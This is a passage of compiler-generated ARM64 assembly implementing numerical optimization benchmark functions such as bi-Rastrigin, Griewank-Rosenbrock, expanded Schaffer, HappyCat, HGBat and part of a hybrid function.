ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L151:
ldr w0, [sp, 76]
cmp w0, 32
ble .L152
ldr w0, [sp, 72]
add w0, w0, 1
scvtf d1, w0
ldr d0, [sp, 80]
fmul d1, d1, d0
fmov d0, 1.0e+0
fadd d2, d1, d0
ldr d0, [sp, 88]
fmov d1, 1.0e+1
fdiv d0, d1, d0
fmov d1, d0
fmov d0, d2
bl pow
fmov d1, d0
ldr x0, [sp, 48]
ldr d0, [x0]
fmul d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L150:
ldr w1, [sp, 72]
ldr w0, [sp, 44]
cmp w1, w0
blt .L153
ldr w0, [sp, 44]
scvtf d0, w0
fmov d1, 1.0e+1
fdiv d1, d1, d0
ldr w0, [sp, 44]
scvtf d0, w0
fdiv d0, d1, d0
str d0, [sp, 96]
ldr x0, [sp, 48]
ldr d1, [x0]
ldr d0, [sp, 96]
fmul d1, d1, d0
ldr d0, [sp, 96]
fsub d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
nop
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE24:
.size katsuura_func, .-katsuura_func
.align 2
.global bi_rastrigin_func
.type bi_rastrigin_func, %function
bi_rastrigin_func:
.LFB25:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
fmov d0, 2.5e+0
str d0, [sp, 104]
fmov d0, 1.0e+0
str d0, [sp, 112]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
bl malloc
str x0, [sp, 120]
ldr w0, [sp, 44]
scvtf d1, w0
fmov d0, 2.0e+1
fadd d0, d1, d0
fmov d1, 5.0e-1
bl pow
fadd d0, d0, d0
mov x0, 7378697629483820646
movk x0, 0x4020, lsl 48
fmov d1, x0
fsub d0, d0, d1
fmov d1, 1.0e+0
fdiv d0, d1, d0
fmov d1, 1.0e+0
fsub d0, d1, d0
str d0, [sp, 128]
ldr d0, [sp, 104]
fmul d1, d0, d0
ldr d0, [sp, 112]
fsub d1, d1, d0
ldr d0, [sp, 128]
fdiv d0, d1, d0
fmov d1, 5.0e-1
bl pow
fneg d0, d0
str d0, [sp, 136]
ldr w0, [sp, 40]
cmp w0, 1
bne .L155
adrp x0, y
add x0, x0, :lo12:y
ldr x0, [x0]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl shiftfunc
b .L156
.L155:
str wzr, [sp, 76]
b .L157
.L158:
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L157:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L158
.L156:
str wzr, [sp, 76]
b .L159
.L160:
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
adrp x1, .LC40
ldr d1, [x1, #:lo12:.LC40]
fmul d0, d0, d1
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L159:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L160
str wzr, [sp, 76]
b .L161
.L164:
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
fadd d0, d0, d0
str d0, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
fcmpe d0, #0.0
bmi .L181
b .L162
.L181:
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
fneg d0, d0
str d0, [x0]
.L162:
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L161:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L164
str wzr, [sp, 76]
b .L165
.L166:
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x1, x1, x0
adrp x0, z
add x0, x0, :lo12:z
ldr x2, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [sp, 104]
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L165:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L166
str xzr, [sp, 88]
str xzr, [sp, 96]
str wzr, [sp, 76]
b .L167
.L168:
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d1, [x0]
ldr d0, [sp, 104]
fsub d0, d1, d0
str d0, [sp, 80]
ldr d0, [sp, 80]
fmul d0, d0, d0
ldr d1, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 88]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d1, [x0]
ldr d0, [sp, 136]
fsub d0, d1, d0
str d0, [sp, 80]
ldr d0, [sp, 80]
fmul d0, d0, d0
ldr d1, [sp, 96]
fadd d0, d1, d0
str d0, [sp, 96]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L167:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L168
ldr d1, [sp, 96]
ldr d0, [sp, 128]
fmul d0, d1, d0
str d0, [sp, 96]
ldr w0, [sp, 44]
scvtf d1, w0
ldr d0, [sp, 112]
fmul d0, d1, d0
ldr d1, [sp, 96]
fadd d0, d1, d0
str d0, [sp, 96]
str xzr, [sp, 80]
ldr w0, [sp, 20]
cmp w0, 1
bne .L169
adrp x0, z
add x0, x0, :lo12:z
ldr x4, [x0]
adrp x0, y
add x0, x0, :lo12:y
ldr x0, [x0]
ldr x3, [sp, 24]
ldr w2, [sp, 44]
mov x1, x0
mov x0, x4
bl rotatefunc
str wzr, [sp, 76]
b .L170
.L171:
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d0, d0, d1
bl cos
fmov d1, d0
ldr d0, [sp, 80]
fadd d0, d0, d1
str d0, [sp, 80]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L170:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L171
ldr d1, [sp, 88]
ldr d0, [sp, 96]
fcmpe d1, d0
bmi .L182
b .L184
.L182:
ldr x0, [sp, 48]
ldr d0, [sp, 88]
str d0, [x0]
b .L174
.L184:
ldr x0, [sp, 48]
ldr d0, [sp, 96]
str d0, [x0]
.L174:
ldr x0, [sp, 48]
ldr d1, [x0]
ldr w0, [sp, 44]
scvtf d2, w0
ldr d0, [sp, 80]
fsub d2, d2, d0
fmov d0, 1.0e+1
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
b .L175
.L169:
str wzr, [sp, 76]
b .L176
.L177:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d0, d0, d1
bl cos
fmov d1, d0
ldr d0, [sp, 80]
fadd d0, d0, d1
str d0, [sp, 80]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L176:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L177
ldr d1, [sp, 88]
ldr d0, [sp, 96]
fcmpe d1, d0
bmi .L183
b .L185
.L183:
ldr x0, [sp, 48]
ldr d0, [sp, 88]
str d0, [x0]
b .L180
.L185:
ldr x0, [sp, 48]
ldr d0, [sp, 96]
str d0, [x0]
.L180:
ldr x0, [sp, 48]
ldr d1, [x0]
ldr w0, [sp, 44]
scvtf d2, w0
ldr d0, [sp, 80]
fsub d2, d2, d0
fmov d0, 1.0e+1
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
.L175:
ldr x0, [sp, 120]
bl free
nop
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE25:
.size bi_rastrigin_func, .-bi_rastrigin_func
.align 2
.global grie_rosen_func
.type grie_rosen_func, %function
grie_rosen_func:
.LFB26:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
stp d8, d9, [sp, 16]
.cfi_offset 72, -96
.cfi_offset 73, -88
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
ldr x0, [sp, 64]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
adrp x1, .LC39
ldr d0, [x1, #:lo12:.LC39]
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [x0]
str wzr, [sp, 84]
b .L187
.L188:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fsub d0, d1, d0
str d0, [sp, 88]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
fmov d0, 1.0e+0
fsub d0, d1, d0
str d0, [sp, 96]
ldr d0, [sp, 88]
mov x0, 4636737291354636288
fmov d1, x0
fmul d1, d0, d1
ldr d0, [sp, 88]
fmul d1, d1, d0
ldr d0, [sp, 96]
fmul d0, d0, d0
fadd d0, d1, d0
str d0, [sp, 104]
ldr x0, [sp, 64]
ldr d8, [x0]
ldr d0, [sp, 104]
fmul d0, d0, d0
mov x0, 70368744177664
movk x0, 0x40af, lsl 48
fmov d1, x0
fdiv d9, d0, d1
ldr d0, [sp, 104]
bl cos
fsub d1, d9, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
fadd d0, d8, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L187:
ldr w0, [sp, 60]
sub w0, w0, #1
ldr w1, [sp, 84]
cmp w1, w0
blt .L188
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d0, [x0]
fsub d0, d1, d0
str d0, [sp, 88]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d1, [x0]
fmov d0, 1.0e+0
fsub d0, d1, d0
str d0, [sp, 96]
ldr d0, [sp, 88]
mov x0, 4636737291354636288
fmov d1, x0
fmul d1, d0, d1
ldr d0, [sp, 88]
fmul d1, d1, d0
ldr d0, [sp, 96]
fmul d0, d0, d0
fadd d0, d1, d0
str d0, [sp, 104]
ldr x0, [sp, 64]
ldr d8, [x0]
ldr d0, [sp, 104]
fmul d0, d0, d0
mov x0, 70368744177664
movk x0, 0x40af, lsl 48
fmov d1, x0
fdiv d9, d0, d1
ldr d0, [sp, 104]
bl cos
fsub d1, d9, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
fadd d0, d8, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldp d8, d9, [sp, 16]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_restore 73
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE26:
.size grie_rosen_func, .-grie_rosen_func
.align 2
.global escaffer6_func
.type escaffer6_func, %function
escaffer6_func:
.LFB27:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
fmov d0, 1.0e+0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
ldr x0, [sp, 48]
str xzr, [x0]
str wzr, [sp, 76]
b .L190
.L191:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d2, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
bl sqrt
bl sin
str d0, [sp, 80]
ldr d0, [sp, 80]
fmul d0, d0, d0
str d0, [sp, 80]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d2, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
adrp x0, .LC41
ldr d1, [x0, #:lo12:.LC41]
fmul d1, d0, d1
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [sp, 88]
ldr x0, [sp, 48]
ldr d1, [x0]
ldr d2, [sp, 80]
fmov d0, 5.0e-1
fsub d2, d2, d0
ldr d0, [sp, 88]
fmul d0, d0, d0
fdiv d2, d2, d0
fmov d0, 5.0e-1
fadd d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L190:
ldr w0, [sp, 44]
sub w0, w0, #1
ldr w1, [sp, 76]
cmp w1, w0
blt .L191
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d2, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
bl sqrt
bl sin
str d0, [sp, 80]
ldr d0, [sp, 80]
fmul d0, d0, d0
str d0, [sp, 80]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d2, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
adrp x0, .LC41
ldr d1, [x0, #:lo12:.LC41]
fmul d1, d0, d1
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [sp, 88]
ldr x0, [sp, 48]
ldr d1, [x0]
ldr d2, [sp, 80]
fmov d0, 5.0e-1
fsub d2, d2, d0
ldr d0, [sp, 88]
fmul d0, d0, d0
fdiv d2, d2, d0
fmov d0, 5.0e-1
fadd d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE27:
.size escaffer6_func, .-escaffer6_func
.align 2
.global happycat_func
.type happycat_func, %function
happycat_func:
.LFB28:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
fmov d0, 1.25e-1
str d0, [sp, 88]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
adrp x1, .LC39
ldr d0, [x1, #:lo12:.LC39]
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
str xzr, [sp, 72]
str xzr, [sp, 80]
str wzr, [sp, 68]
b .L193
.L194:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x0, x1, x0
fmov d0, 1.0e+0
fsub d0, d1, d0
str d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 72]
fadd d0, d1, d0
str d0, [sp, 72]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 80]
fadd d0, d1, d0
str d0, [sp, 80]
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L193:
ldr w1, [sp, 68]
ldr w0, [sp, 44]
cmp w1, w0
blt .L194
ldr w0, [sp, 44]
scvtf d0, w0
ldr d1, [sp, 72]
fsub d0, d1, d0
fabs d2, d0
ldr d0, [sp, 88]
fadd d0, d0, d0
fmov d1, d0
fmov d0, d2
bl pow
fmov d2, d0
ldr d1, [sp, 72]
fmov d0, 5.0e-1
fmul d1, d1, d0
ldr d0, [sp, 80]
fadd d1, d1, d0
ldr w0, [sp, 44]
scvtf d0, w0
fdiv d0, d1, d0
fadd d1, d2, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE28:
.size happycat_func, .-happycat_func
.align 2
.global hgbat_func
.type hgbat_func, %function
hgbat_func:
.LFB29:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -96
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
fmov d0, 2.5e-1
str d0, [sp, 104]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
adrp x1, .LC39
ldr d0, [x1, #:lo12:.LC39]
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str xzr, [sp, 88]
str xzr, [sp, 96]
str wzr, [sp, 84]
b .L196
.L197:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
fmov d0, 1.0e+0
fsub d0, d1, d0
str d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 88]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 96]
fadd d0, d1, d0
str d0, [sp, 96]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L196:
ldr w1, [sp, 84]
ldr w0, [sp, 60]
cmp w1, w0
blt .L197
fmov d1, 2.0e+0
ldr d0, [sp, 88]
bl pow
fmov d8, d0
fmov d1, 2.0e+0
ldr d0, [sp, 96]
bl pow
fsub d0, d8, d0
fabs d2, d0
ldr d0, [sp, 104]
fadd d0, d0, d0
fmov d1, d0
fmov d0, d2
bl pow
fmov d2, d0
ldr d1, [sp, 88]
fmov d0, 5.0e-1
fmul d1, d1, d0
ldr d0, [sp, 96]
fadd d1, d1, d0
ldr w0, [sp, 60]
scvtf d0, w0
fdiv d0, d1, d0
fadd d1, d2, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE29:
.size hgbat_func, .-hgbat_func
.align 2
.global hf01
.type hf01, %function
hf01:
.LFB30:
.cfi_startproc
stp x29, x30, [sp, -192]!
.cfi_def_cfa_offset 192
.cfi_offset 29, -192
.cfi_offset 30, -184
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 184]
mov x1, 0
mov w0, 3
str w0, [sp, 100]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
add x2, sp, 160
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L199
.L200:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 160
ldr d1, [x1, x0]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L199:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L200
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L201
.L202:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 120
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L201:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L202
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L203
.L204:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L203:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L204
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl zakharov_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
